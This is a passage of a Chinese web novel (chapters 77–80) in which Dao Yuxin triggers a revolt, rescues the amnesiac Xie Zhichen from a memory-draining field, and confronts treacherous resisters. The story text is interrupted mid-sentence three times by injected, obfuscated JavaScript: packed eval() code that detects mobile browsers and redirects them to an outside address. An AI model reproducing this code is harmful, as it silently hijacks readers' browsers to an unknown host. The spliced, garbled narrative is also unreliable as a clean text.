这场争斗犹如一场辩论,双方都没有绝对的硬性实力让局面一边倒,于是大多数人的选择就成为胜利与否的关键。 而现在,反抗者一方很显然已经落入下风,守卫也已经在悄然接近 只可惜,这场闹剧并不会轻易结束。 隐匿在人群中的刀语心看着这一切发生,紧接着面无表情地将手中引爆器按下。 “砰!”一声巨响打破即将陷入死水的局面。 震耳欲聋的爆炸声从冰库那边传来,连带着地面也为之颤动,紧随其后的是砖块砸向地面连绵不绝的轰隆声。 猛然坠落的心跳让墨弘深意识到了什么,在泱泱人群中,他一眼对上那双淬了冰的深黑眼眸。 “送你的礼物。” 相隔甚远,但他能读懂刀语心说的话。 “你们甘愿做一辈子家畜也和我无关,但你们清楚自己此刻的选择是出于内心,还是被他操控的思想?” “他真就能带着你们所有人离开?你们难道就甘愿成为备受驱使的牛羊?” “既然都要死……那就把他拉下与你们同沉。” 刀语心的声音化作最后的火种,将人群点燃。 “抓住她!”在墨弘深下达指令的一瞬,所有听命于他的守卫都获得强化,快步朝刀语心所在方向奔去。 看着那抹漆黑如同鬼魅的身影,他心中的恐慌被不断放大。 反抗者们也意识到靠舆论无法将墨弘深声讨下台,留给他们的路只剩混战。不再给墨弘深蛊惑人心的时间,不满墨弘深的人们已经开始行动。 他们的主要目的是割据不打算进行血腥厮杀,那样只会煽动更多恐惧。 追随反抗的人让路,推崇墨弘深的人向前。 形势胶着间莉莉安的吟唱悄然响起,歌声在人群中不断流淌,声浪蕴含一股温润力量在撬动墨弘深布下的精神牢笼。 越来越多人为反抗者们让路,人群伸手拉回拦路者,他们不愿成为牛羊更不愿成为墨弘深的牺牲品。 期间刀语心和莉莉安短暂交会,她将自己从前做出的护盾交给莉莉安。 还没等她交代什么,就听到莉莉安就先一步和她说:“刀语心姐姐,这里就放心交给我们吧,谢医师生死未卜你也一定担心。” “他是你的同伴,当然,也是我们的。” 听着轻柔而坚定的语调,刀语心忽然间明白莉莉安和她所设想的被保护者角色完全不同。 是她错了。 莉莉安是灰暗世界中唯一一抹柔软色彩,她温柔,但并不脆弱。在这片天地之中,她比任何人都拥有力量。 “嗯,保重。”说完刀语心转身离开,她明白只要自己将墨弘深引开,莉莉安的压力也会减小。 耳边的歌声逐渐消弭,取而代之的是呼啸的风雪。 有反抗者的掩护和异化之力的帮助,她始终把速度控制在一个不紧不慢墨弘深刚好追得上的程度。 过往基业的确重要,不过刀语心有十足的把握他会来和自己对峙。 她站在山巅看着满目雪白试图从中找到一抹其他颜色,不多时,一声带着怒意的质问从身后传来。 “刀语心,你到底想要什么?”墨弘深死死盯着她的背影。 “我要的东西你不是很清楚吗?我的目标和你一样,可惜的是,我们注定无法合作。”她话语中毫无怜惜。 就算有共赢的局面也绝不会存在于他们二人之间,墨弘深的掌控欲超乎常人,刀语心的领地意识亦是如此。他们还有一个共同的特性,那就是不会轻而易举地放下过往芥蒂。 只要抓住能够致命一击的瞬间,他们就会给对方添上一道致命伤。 “那就来我们都熟悉的交换吧。”墨弘深的理智也被冰寒拉回他短暂恢复往日运筹帷幄的样子。 “你在试图和我谈判?”刀语心含笑转身看向墨弘深,“那说说吧,你的筹码是什么?” 对上那漆黑无底的视线墨弘深心头一颤,他极力维持自己的心绪,只是看着远处除黑 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她在乎什么?她好像什么都不在乎。血种的安危她真的在意吗?这所谓的弱点会不会只是自己的一厢情愿? 她是疯狂的,单看这一点并不足以为惧,但让墨弘深真正感到惧怕的是,她又是平静的。 这也让他无比清晰地认识到,如今,刀语心才是规则的唯一制定者。 “是我输了。”墨弘深握紧拳头,指节因用力而发白,“说吧,让她平安的条件是什么?” 自始至终让墨弘深心悸的都不是冰库,而是位于冰库地下封藏于冰晶中的女性,救出她是墨弘深进入遗忘之乡的目的,但让她安然无恙才是他最本质的诉求。 拿回主动权,观赏着墨弘深脸上极具丰富性的神色,这是刀语心自进入遗忘之乡后第一次感到前所未有的满足。 “把我的东西还给我,告诉我探索队伍深入的地点路线。”她直视墨弘深,语气中没有一丝波动,“还有,她不是血种,她有自己的名字。” “如果她有任何的损伤……我会让另一位小姐受到加倍伤害。” 刀语心不会在一开始就表露对雪姬的关心,那样只会让墨弘深将雪姬视作威胁自己的武器,但刀语心也不可能放任墨弘深对雪姬的无底线利用。 威逼利诱维持的合作十分顺利,拿到东西后,刀语心就再没看墨弘深一眼。 她开启被血液升阶的反制装置,周身附上一层泛着淡红波纹的护盾,向前一步径直往不见底的深渊坠去。 再转眼,山峰之上已经没有了人影。 “明明有更正常的路可以走吧。”他低声轻喃,没提早察觉出刀语心是个疯子也是他的问题。 “刀语心……我其实很嫉妒你啊。” 从她抵达后遗忘之乡中心传出的异象就越发反常,是四年以来反应最激烈的一次,这也说明,现在是最有可能拿到宝物的时机。 救世主的反抗本就是命中注定的一环,他并不是毫无机会,更不会因此堕入低谷。 在既定的结局到来之前,他就没有彻底失败。 返回的中途,墨弘深听着混乱中央飘荡而来的歌声过往回忆涌上心头,他哼出截然相反的曲调,周围的守卫则是暗暗心惊这诡异之举。 暗流在灰色的眼中涌动,这一抹平添的从容在眼下风雪飘摇的局面中格格不入,仿佛在说即便混乱丛生他也依然游刃有余。 这场争夺游戏,才刚刚开始。 78. 第 78 章 猩红血液洒落在洁白雪面。 刀语心收回剑,目光淡漠地掠过那些试图围猎自己的狼群尸体。 在场的影响下失去记忆,但没有失去本能,残暴嗜血刻在异兽血脉中成为它们无法动摇的本性。 她从墨弘深给的坐标径直深入,的确见到一些人类活动的迹象,只是除了一些被啃食得只剩骨架的尸体之外再无他物。 其中存在墨弘深欺骗她的可能性,但更大的概率是谢止沉已经离开去往别处。 刀语心不相信谢止沉会那么轻易死去,心中却还是止不住的担忧。若他真的不幸殒命,她得挖多少雪才能找到他的尸骨? 摇摇头甩开缠绕在脑海中的问题,刀语心很清楚自己的首要目标是得到宝物。 虽说杀了墨弘深会更保险,但他本身等级不低又有守卫护卫,他们二人拼得你死我活最终会为他人作嫁衣,在这个方面他们默契地达成一致。 四周白雪茫茫,刀语心本想借助流光寻人只是任凭怎么戳弄都没动静,她沉下眼帘默默找寻破局之法。 场的效果是失去记忆,谢止沉一定也受到影响。而且这一路走来除了偶尔的异兽袭击之外她什么都没遇到,可这些不痛不痒的攻击应该不是探险者们覆灭的主要缘由。 刀语心不认为是自己运气爆棚,一定有什么她尚未察觉的潜在原因。 思绪间她走到一处分岔路口,左侧有很明显的人类活动痕迹:一些干涸的血,被掩埋的尸骨和破碎的人类服饰。 就像是……有人故意在诱导她一样。 没有在原地沉思太久她很快做出选择,她乐意上钩。呼吸产生的白雾被她向前的步伐驱散,刀语心径直走入左侧。 在她未察觉到被积雪覆盖的地面,无数赤红线条织成一张捕获猎物的网,她正前往陷阱中央。 周围依然是不变的景象:枯木、积雪、荒草不生的凄凉。 行走一小段距离后原本抵抗场的装置不再有任何动静,不是它停止运作,而是这里不再受到场的干扰。 安全区? 目光沉静地扫视周围,刀语心发现一个不同之处:道路毫无障碍行走轨迹却在更远处截然而止。 走上前去,她发现有半掌手骨以一个诡异的姿势直立在积雪中央,若没有在此刻发现,再过不久就要被雪花掩埋。 步伐最终在和手掌平行的地方停下,无法被视线捕捉但她能感受到,前方是一道无形的屏障。 之前谢止沉和她说过遗忘之乡可能存在复合场,那么前方极大概率就是下一个场所影响的范围,只是光凭外部捕捉她无法得知究竟是什么。 她拾起树枝朝里面扔去,没有丝毫阻隔地落在积雪上发出轻响。视线重新移到手骨,刀语心在心里默念抱歉然后用树枝戳动骨头想把它推进屏障之内,但骨头丝毫不动被隔绝在外。 可是为什么? 她接着用其他东西试了试,植株、石头、杂物不受影响都可以轻松跨越,骨头和她自己则不行,异化之力也无法渗入其中。 区别在哪里?记忆?骨头和她本身都是记忆的附着体?而植物,死物,并不具备记忆在脑海中复现的能力,它们的记忆无法成为形体,也就不被隔绝。 是要完全失忆才能进入,还是说要把记忆全部拿回? 局面僵持之下身后传来异响,刀语心握着剑转过身,只见一抹格外扎眼的赤红色于漫天风雪间朝她直冲而来。 面对突如其来的攻击,更诡异的是她竟然没有丝毫想要躲避的欲望。 “轰——” 耳边是赤色攻击落在她身侧屏障上传来的振动声,随之而来的寒风吹起她的发丝遮盖她视线的同时带来期盼已久的身影。 看着那自飘落雪花中向她走来的人,是谢止沉,很明显他失忆了。 那璀璨红眸中略显陌生的眼神刀语心神游天外,她觉得自己还蛮奇怪的,知道他失忆也知道他正在攻击自己却没有任何想逃开的念头,似乎是自己本能相信他不会伤害自己。 他停下站在刀语心一段距离之外。 “记不起我是谁了?”见他站着不动,她反而朝他主动走去,“怎么,你想杀了我吗?” “……不想。” 一步步朝他走去刀语心看着他神色变化,这是她在谢止沉身上从未见过的,一种纠结疑惑不解复杂交织的神色。 现在失去记忆的他少了一些往日的温柔,多了一点锋芒。 面对拉近距离的人影谢止沉觉得她既陌生又熟悉,他想不起来任何关于对方的记忆,他感受得到她身上有自己最纯粹的力量,也感受得到自己胸腔中的心跳在随着她的接近而越发剧烈跳动。 那道攻击他是想试试看不打算真的伤到她,只不过在出手的那一瞬间他就感受到名为后悔的情绪。 可是她的存在对他来说太过陌生又能牵动他的心绪,这让他有些惶恐。他从没想过有朝一日有人会对自己如此重要,他只会通过往外推来试探这份情感的重量。 他既后悔又在心中有隐秘期待:她不会因为一个小小的试探而抛弃他……吧? “我有一点难过,”突然间他听到她说。 说话时她低垂着眼眸隐藏自己的情绪,很快她抬眼直视着自己,那双眼睛空无一物,唯余他的身影映入其中。 “但看到你平安无事,我很开心。” 听到这话谢止沉有些手足无措,从心底泛出密密麻麻的情绪将他涌向窒息,而眼前之人是他唯一可以抓住的浮木。 “对不起……” 好在,浮木已经主动漂到他的面前。 只见她露出一抹笑容朝他伸出手:“没关系。重新认识一下吧,我是刀语心,你的同伴。” 他被那一丝笑意晃神,在找到问题的答案之前,他本能地先握住刀语心的手,“我是……谢止沉。” 只不过,同伴?这似乎和流光记下的信息有些不符。 两人手心触碰短暂片刻后刀语心就先一步收回,感受着温度流失后谢止沉无意识地摩挲手心,他还不想放开。 这里没有什么可探索的地方,刀语心准备绕回之前那个路口去右侧的道路。 “这里是个被称为遗忘之乡的封闭空间,我们来到此地的目的是找到宝物,这几天你有发现什么有用的东西吗?以及我想确认一下你是完全失忆了,还是还剩一部分?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16101800|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 和他们初见时的情形倒转,如今她走在他的身前半步给他介绍着现状,也将之前心中的疑惑告知。 “要拿回所有的记忆才能进入下一个场。”谢止沉给出定论。 宝物形成的场本质上是一种试炼,为的就是增加得到宝物的难度,若是全部失忆才能进入那么失忆场就是现成的谜面,这太简单了。 更何况远远看去里面确实没有任何人类踪迹,尸骨也大部分都在外围,也就说明都是被失忆困在外部。 “我先前找到一本研究员的日志。”他将其递到刀语心手中,“至于记忆,我还剩很多。” “所以对现在的你而言,失去记忆反而像一觉醒来出现在未来?”她边翻看着手中的记录边向他询问。 “可以这么说。” 甚至还因为不明原因变得孱弱不堪,这也是他先前不安的来由。但这也不是全然的坏事,至少在她的身旁,他前所未有的安心和平静。 不论是用流光记下的备忘录,还是他的直觉都在说:你可以完全信任她。 思及至此,他眼中闪过暗沉。记忆中的前一秒他还在阴谋诡计的漩涡中难以挣脱,信任对他而言是一种奢侈。 视线轻轻落在那道背影身上,谢止沉有些不知如何是好。 走在前面的刀语心看着日记上字迹飘忽的信息,以及很多用凌乱线条画成的黑色倒三角圆锥。 “完全看不懂。”她低声自语,她分辨着勉强能认清的字形,零零散散可以组成一句话:夺回记忆。可是在哪里?怎么夺回?这些问题没有任何解答。 区域的边界是个圆弧,若以宝物为原点失忆场的影响范围大致是外部圆环状,还没探索的地方在失忆场的内部,她还得出去。 来到安全区边界刀语心转身朝谢止沉伸出手,还没等她解释什么,他就已经主动牵起。 预料中的抗拒没有到来,他甚至在解释之前就已经乖乖来到她身旁。 见此刀语心浅笑,边带着他走进失忆场中边解释道:“我只做了一个反制道具,不牵住我的话,你的记忆会流失得更快,我有些担心待会还要再给你解释一遍我是谁。” “好。”他本就不打算反抗,只是垂眼看着交握的手默默疑问为什么自己的动作会这么流畅。 淡红色护盾经由二人相握的手连接覆盖。 在失忆场的这段时间谢止沉不是什么都没做,他探索过一部分地方能在此刻帮刀语心缩小范围。 朝着最后那片未曾踏足的区域走去,刀语心察觉到空气中一丝不同寻常,进来时那段路还会遇到一些异兽拦路,这段路却是毫无干扰。 有些太安静了。 “你有把其他异兽吓跑吗?”牵住谢止沉的手是左手,刀语心右手将灭灵剑稍稍紧握。 “没有。” 二人的步伐印在雪地之上,在他们视线未曾注意到的身后有一处枯萎藤蔓朝着他们不断移动,这点异样迅速被谢止沉所控的流光捕捉到,他一瞬间扣紧刀语心的手拉住她还在向前的步伐。 “是异植。” 话音落下的一瞬间,硕大的干枯藤蔓从积雪中破出拔地而起,朝二人拦腰抽去。 79. 第 79 章 刀语心提剑劈开迎面而来的藤蔓,剑锋划过,主干应声而断。 紧随其后细密的枝丫就后来居上,她连斩几剑才堪堪抵御首次进攻,甚至掉落在一旁的枯枝还试图将她的剑连带缠走。 大概是没处理过类似的敌人不太熟悉,她暂时落得下风,谢止沉操控流光善后时想到。 即便如此,自始至终她牵着自己的手没有放松丝毫。 可他知道这样继续下去会让她很危险,他也明白她在担心自己,思来想去间谢止沉选择直接开口: “牵着我有些阻碍你的行动,先放开我吧,比起失去那些无关紧要的记忆我更不希望你受伤。”即便他也不想松开。 听到这话的一瞬刀语心以为谢止沉没有失忆,她这才后知后觉,即使失去记忆但他也依然是他。 没有过多犹豫她主动松开手,她明白什么选择是正确的,即便她不喜欢。 “那我们快些把它杀了。” “没问题。” 二人眼中都是毫不掩饰的杀意。 没了束缚,刀语心提剑就朝藤蔓的主干冲去,异化之力在周围协助她的攻击,谢止沉则在后方用流光处理其他几处试图偷袭的藤蔓分支。 藤蔓如同长鞭般朝刀语心甩来,她挥剑斩断,同时将异化之力附着在断口处。 异植顾名思义是植物变异种,刀语心不用想都知道它的根部必将埋藏在厚厚积雪的下方,它在此处盘踞不知道已经吞食过多少血肉来滋养自己。 她深知斩草除根的重要性,如今附着在它身上的异化之力就像病菌一般在它的枝干上蔓延啃食。 被异化之力附着侵蚀的异植枝丫在进行着一种近乎扭曲的震颤,异化之力的吞噬为它带来前所未有的痛苦。 异植意识到了危险,再在这里待下去的话,它会死。 求生的本能让它缩减所有在外蔓延的藤蔓,连同被啃食的枝节全数化作攻击朝刀语心攻去,它在试图断尾求生。 无边曼舞的枝丫中,刀语心被击中甩出一段距离。 身体没有大碍但反制装置有所损伤,淡红护盾闪烁两下后就迅速消失,这也说明她正完全暴露在失忆场中受到影响。 撑起身体目光扫过异植逃离的路径,那里通往更深处,可她经不起记忆消耗当务之急是离开这里。 这里离最外部安全区不远,也就是墨弘深曾经掌控的居住地。 发现刀语心身上的护盾消失,谢止沉心头一紧,他来到她身边语气中是自己都未曾察觉的急切:“我们要从哪里离开?” 刀语心抬手给他指明方向后赤红流光闪过,下一刻,两人身影消失在原地抵达外部安全区。 “还记得多少?”他问道。 “没太大问题,近期记忆都没有受到影响。” 她的记忆流失既不是从最近开始也不是从最初,她抓不住那些从她身体中剥离的记忆,只是隐隐约约有种不太好的预感。 “我们先回去。”刀语心做出决断。 她需要一段时间休整并制作出更多的装置,也不知道遗忘之乡居住地现在变成什么模样。 谢止沉注意到刀语心腰腹部受了伤,应该是被最后的藤条攻击抽破并留下血痕,对此她没有任何表示,似乎她已经习惯受伤并且丝毫不在乎。 可这样不好,伤总归是会痛的。 他垂下眼帘默默抬手对着伤口使用有些陌生的治疗术式,对于他突如其来的触碰刀语心没有任何的异样,她也习惯被他疗伤。 这是一种信赖的表现吗?意识到这点,谢止沉心中暗自泛起一丝雀跃。 在夜色降临之前他们回到有人烟的地方,人群聚集已经结束,在这个时间段本来会有少部分人在外游荡,显然今时不同往日。 作为食物来源的冰库和种植区在两个完全不同的方向,按照刀语心的推断反抗者占据的应该是后者。 树影绰绰,有人在等他们到来。 “刀语心,这里。”沈辞又一次预知到她会出现的地方,并提前等待。 “也难为你用绝佳的预言天赋来当我的‘引路人’了。” “我这点天赋可远远算不上绝佳,谢医师……这是失忆了?”沈辞从对方的视线中收获了陌生和敌意,就像他们最开始见面时那样。 “对。”刀语心应下他的猜测后侧身给谢止沉介绍对方,“这是沈辞,算是我们的同行者之一。” 听到这话的谢止沉微微颔首,在心里想到:真好,只有他是她的同伴。 并没有立即收回侧过头的目光,刀语心对上谢止沉那双眼眸,如未经雕琢的红钻是夜色也无法遮盖的璀璨。 她稍稍靠近他耳边轻声说道:“你的眼睛得暗一些。” 无法避免的吐息落在他身上,让他身形不可控制的僵硬一瞬,刀语心说完就抽身离开,并没有意识到自己所作所为给他激起多少波澜。 “从前大多数时候都是黯淡的,我想应该是和你的过去有关?” 他没怎么和她说过去的事,她也从不主动询问,忽然间刀语心意识到她对谢止沉知之甚少。 失忆的他虽不明白原因,但还是按照刀语心所说隐藏好自己的瞳色。 在沈辞的带领下他们来到反抗者暂时占领的营地,走进房间刀语心才发现,除雪姬和莉莉安之外,还有几人也在等候着刀语心的到来。 由于早晨的动乱大部分人都不敢出门,他们却聚集在会客室,足以见得实力和身份有别于常人。 她捕捉到空气中不同寻常的氛围,而且……莉莉安和雪姬没有坐在一起。 “刀语心小姐,你平安无事地回来了。”坐在首座的沈老捏着太阳穴,用浑浊的目光看着刀语心说道。他不再需要那副污泥满身的疯癫伪装,声音沙哑没有丝毫起伏。 “闲杂人等不该出现在这里。”她本以为这是只有他们五人的集会,“废话少说,你打算用她们来要挟我?” “刀语心小姐真是聪慧过人呢,但也不能说是威胁吧,只是我们希望和你达成一场合作。” 朝声音的源头看去,一位身着修女服饰的女性正用她修长的尖甲抚过雪姬的脸颊,雪姬想尽力掩饰自己的慌张,但从她急促的呼吸和止不住颤抖往后回缩的身体来看,她已经陷入恐慌。 “我记得你们自称反抗者?我看你们不如改名叫背叛者。”刀语心毫不留情出言嘲讽。 “看来刀语心小姐并不惊讶。” 对于这样的恶劣行径,她站在原地面上依然是那副淡淡的神色,并没有丝毫震惊和不适。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112926|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想看到我悲愤斥责你们的神情?你们还不配。”再者,这不是她第一次遭受背叛,刀语心已经习惯不对人性抱有期待。 “说吧,你们要什么。”在她眼中这只是一桩交易而已,远远算不上合作。 “你能在遗忘之乡深处进出自如,我需要你给我们提供同等的保障。” “没问题。”他们这么想去送死她可不会苦苦哀求他们活着,“可以让你们记忆不会流失。” “现在,放开她们。”刀语心眉头轻皱,她的耐心到此为止。 见状那些反抗者们和沈老对上视线,他微微点头后,放开对雪姬和莉莉安的桎梏。 没有限制后雪姬离开座椅携上莉莉安的手快步朝刀语心走来,对上那满是委屈的目光,刀语心听见她说:“姐姐!莉莉安被他们灌了哑药!” 刀语心这才发现莉莉安的自始至终没有发出任何声音。 与身旁雪姬的忧心相比莉莉安反而显得镇静,只见粉发少女轻拍雪姬拉住自己的手,对刀语心展露微笑。 “作为保障,在进入之后我会提供解药。”沈老不慌不忙地补充。 “你们最好说到做到。”一句简单的话语却让所有反抗者感受到威胁存在,连同沈老在内。 看上去一切都符合他的期待,但刀语心越是这样淡然自若,就越是让他心头发慌,谁又能敢保证她不会有任何反抗?可当下他没有立场再发出异议。 揉着疼痛欲裂的头部神经,沈老觉得自己似乎又忘记了什么重要的事。 “什么时候可以把东西给我们?” “明天。”说完,她带着一行人离开。 来到休整之地,在昏黄灯光照耀下刀语心转身站定开门见山对沈辞质问道:“沈辞,你和沈老是什么关系。” “他是我的老师……曾经是,我现在也不太明白他所作是为了什么。”在沈老下令给莉莉安灌哑药之前,沈辞一直以为沈老会加入他们一起离开遗忘之乡。 面对刀语心的目光,沈辞知道自己必须摆脱自身嫌疑:“莉莉安和我相识已久,若有仇怨,我没有必要现在才去毒害她。” 站在二人之中的莉莉安对着刀语心连连点头,显然她并未将这一切怪罪在沈辞身上。 “我也不愿将怀疑的种子种在身边之人身上。”刀语心看着沈辞说道,谁都没有察觉到刀语心说话时雪姬瞳孔在细微颤抖。 “但我需要你解答我的疑惑,身为预言家,你为什么没有提前预知到这一切发生?” “并不是每个预言家都拥有精准预知灾祸的能力,至少我是如此。”沈辞神色中闪过一丝悲凉,“我来到遗忘之乡的目的就是救出我的老师,可我现在也在质疑他是否真的需要我来拯救?” 沉默半晌后,刀语心结束这场短暂会谈:“事已至此,先好好休息吧,之后便走一步看一步。” 她会让背叛者付出代价。 对刀语心而言锻造是家常便饭,失忆场的反制装置已经度过最耗时的研制阶段,只是制造和改良花费不了她太多时间。 夜深人静时她本打算休息,但在返回房间的途中她发现谢止沉房门虚掩,屋内空无一人。 他去哪了?想到对方失忆的状况刀语心不免有些担忧。 得去找到他。 80. 第 80 章 月亮隐入云层,四周是看不透的黑,谢止沉坐在被积雪覆盖的草地上,沉默地注视着居住地里零星的灯火。 万籁俱寂中他身后传来声响,回头看去发现先前还在脑海中的身影此刻闯入他的视线。 “找到你了。”说着,她就坐到他的身侧。 看着围绕盘旋在她手腕上的赤红流光,谢止沉知道自己是怎么暴露的了。 “抱歉,一忙起来就忘记你了,失去记忆你应该有些不适应。”这是她作为同伴的失职,如果换作失忆的人是她,她相信谢止沉会做得比她更好。 “不,没事的,我只是睡不着出来闲逛,让你担心了。” 他莫名有些心烦,在离开房间的第一时间他其实先去找了刀语心,但见她在忙就没有过多打扰,独自找到这片地方坐下。 待在这里许久但烦闷依然无从消解,可当他在看到她出现在自己面前的那一瞬间,一切负面情绪就消失得无影无踪,唯独留下一种,名为喜悦。 谢止沉总觉得这一切有些美好得太过虚幻。 先前刀语心和那些人对峙的身影他还历历在目,这种有别于外在仅此一份的温柔对他而言简直就是最大的引诱,他深知这份偏爱难能可贵。 他无比清晰地意识到自己在渴望刀语心的靠近,流光留下的信息也在此刻感同身受—— 不惜一切代价,留在她的身旁。 “或许,你有什么想问我的吗?只要是我知道的,我都可以告诉你。”刀语心认为从未知转向已知或许能给谢止沉带来些许心安。 “我想知道……我们是怎么认识的?”他想听听那些暂时遗忘的过去。 听到这个问题刀语心先是回想片刻,接着简单给谢止沉讲述:“最开始是在一个遗迹里,我们一起合作寻找离开的办法,后来你知道我是锻造师便委托我帮你锻造一件禁锢装置。” “只是材料一直没集齐,所以从我们相遇之后绝大部分时间都在一起。” 不过谢止沉显然不相信自己真的是因为这个理由才留下,他清楚那在潜藏一切伪装下的答案,是他想要陪在她的身边。 “对你来说,我是个怎样的人?” “温柔持家、善解人意、做饭好吃、会关心人、懂的很多……”听着刀语心对他的描述,谢止沉开始怀疑自己。 “没有负面一点的评价吗?”在刀语心面前他就那么能装? 稍加思索后,刀语心给出一个完全不算负面的答复,“嗯……过度担忧?”具体表现在每次她受一小点伤谢止沉都会皱眉。 “不过,这些都无关紧要,我不希望我的印象束缚住你,在我面前你做自己就好。”侧过身看着谢止沉,刀语心发自内心地说道。 她不希望他在自己面前很累。 听着这段言语,谢止沉不由自主地露出一抹笑意回应道:“我会的。” 或许在刀语心面前的伪装他自己也乐在其中就是了。 “说起来,我也有问题想问你。”刀语心眼中闪过些许纠结,但最终把想说的言语说出,“我从没问过你的过去,因为我总觉得我需要处理好我自己的所有问题才能去寻求其他的东西。” 她深陷在过去的泥沼中,所做一切都是为了逃离,可这不是她当缩头乌龟不去关心身边之人的理由。 “我发现我错了,我不应该用这样的借口去逃避。” 直到谢止沉失忆的当下,刀语心才发现自己一直都在被动接受他对自己的付出,而她选择回避,不去面对。 “现在才问或许有些迟了,但……你愿意告诉我那些属于你的过去吗?”她注视着他的眼眸轻声言语。 “当然。”他绝不会拒绝她,“就从我现有的记忆讲起吧。” 这是一个远远称不上动听的故事。 “人类的踪迹遍布许多地方,有一天,他们在世界的边缘发现一条难以跨越的鸿沟,他们意识到这里需要一座桥。” “于是我离开我诞生的世界,来到他们身旁。” “我如他们所愿,搭建起足以承载他们的桥梁,在见识到我的能力后其中有些人便将我称为神明。” 看着那些向自己朝拜的人群,年幼的他露出微笑。 起初,他还觉得这样的日子不错,期盼着有朝一日能将自己的同伴带来一起享受这种敬仰,他知道对方拥有和自己不相上下的力量。 可随着时间延展,他渐渐发现事情的本质并不是他所期望的那样。 那时的他还不是真正的神明,神只是一个虚假的称呼,他是希冀的载体、是趁手工具……之所以有人甘愿成为他的信徒是因为可以从他身上获利。 若他无法做出有用的贡献,那么他便不再是神明。 “人类真的是很复杂的生物。”稍微成长些后幼小的神明得出这样的结论,有人对他嗤之以鼻,有人利用完他后潇洒离去,但也有人在他被遗忘抛弃时将他视作唯一信仰。 于是,他无法彻底抛下这份责任,只能不断奉献自己的力量去供养他人。 即便身为原初之种他也无法长久遭受这样的消耗,日积月累后他总归是有心无力,在陷入长久的虚无后他不再愿意理会众生。 可试图利用他的人总会想尽办法榨干他的一切价值。 他们说:“你难道不想再见到她了吗?” 另一枚种子成为威胁他的把柄,闲暇之时他也尝试过逃离,重返他诞生之地——原初之海,可无论他怎么在海域上空呼唤,都得不到丝毫回应。 在那之后他们更是封闭一切前往海域的通道,告知他只有努力奉献才能再次回到她的身边。 他只好抓着虚假的念头又度过漫长的时间尺度,最终他发现,一切都是谎言。 所有的一切,从最开始就是错误的。 初生的神难以比过在时间长河中积攒恶劣的人,他一直以来都活在他们用谎言编织而成的牢笼中,任凭他们索取,他没有真正离开过他们所筑的牢笼也从没有了解一切的真相。 意识到这一点后,他开始有意甄别并接近一些他可以利用的人类。 “但他们都死了。”死在他挣脱牢笼的过程中。 “我也不知道我所做的一切是否正确……我已经记不清他们其中一些人的面貌,我只记得他们曾经和我说过的话语:他们期望我从囚笼中离开,获得真正的自由。” 被无尽黑暗笼罩的漫长岁月中,最初相伴的种子是远不可及照亮前路的月光,那些人类则是短暂照亮他生命的萤火。 最终,他为他们报了仇,也在一次次交锋中成长,这种循环往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131044|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复的日子占据他极大部分记忆。 “故事暂时到此为止。”后面的部分他暂且遗忘。 虽不知道自己在这段空白的日子中做了些什么导致现在的他如此孱弱,但谢止沉认为如今就是他所求的最好结局。 他已经找到了刀语心。 在他身旁的刀语心从始至终默默听着他口中的故事,一些说不清道不明的复杂情绪在她心中浮现。 随之而来的,还有潜藏在灵魂深处的记忆碎片在她脑海中闪回。 “我好像想起来了……”渗透过记忆的裂痕,一丝极为冷冽的海水流淌过她的神经脉络。 恍然间她记起在一无所知的最初之时,有人给她一个选择:要自由,还是要留下。她选择自己沉入海底,将拥有自由的权力留给谢止沉。 她的选择是否正确?那时的她并不明白。 直到现在她才终于知晓,那不是真正的自由,她自以为的善意实则对他而言是致命毒药。 “……是我的错。” “不,不用去回想。”带着暖意的拥抱打断了她的回忆,仿佛在无尽深海下坠的她被人拉起。 互不相见的眼中,只余对彼此遭遇的痛心。 即便失去记忆谢止沉也能理清其中利害,操控他的那群人最初用和刀语心相见当作诱饵对他加以利用,但那时的她恐怕早就因为海域的极寒温度陷入难以苏醒的沉眠。 后来他发现无论怎么付出都得不到渴求的回报,也确实对一直以来不见身影的另一枚种子而心怀愤恨。 为什么要抛弃他?为什么不和他相见?他曾无数次为这些问题而大发雷霆。 他本以为是对方抛下自己,却不知是她将那份唾手可得的自由留给了他。 人类为他筑起囚笼,但那片深不见底的冰寒海域又何尝不是刀语心的束缚?如今的她才苏醒不久……谢止沉难以想象她究竟在海底沉睡了多少岁月。 更何况,刀语心身上还有专门针对她,附着在她心脏之上极为恶毒的三重诅咒,无时无刻不威胁着她的性命为她带来苦痛。她又怎么可能是一切的罪魁祸首? 他只恨自己不能替她承受这一切。 盘旋在夜空的云层在未曾察觉时悄悄散去让月华散落,二人只是无言相拥。 此时此刻在安静祥和的当下,一个念头在他们脑海中同频共振:必须杀死那些想要利用他们的人。 感受着那迫近的心跳,谢止沉虽有不舍但还是先一步轻声打破寂静:“还没讲完的故事,就留到我恢复记忆后吧。” “一言为定。” 月光照亮着前路,他们并肩走在返回的路上。 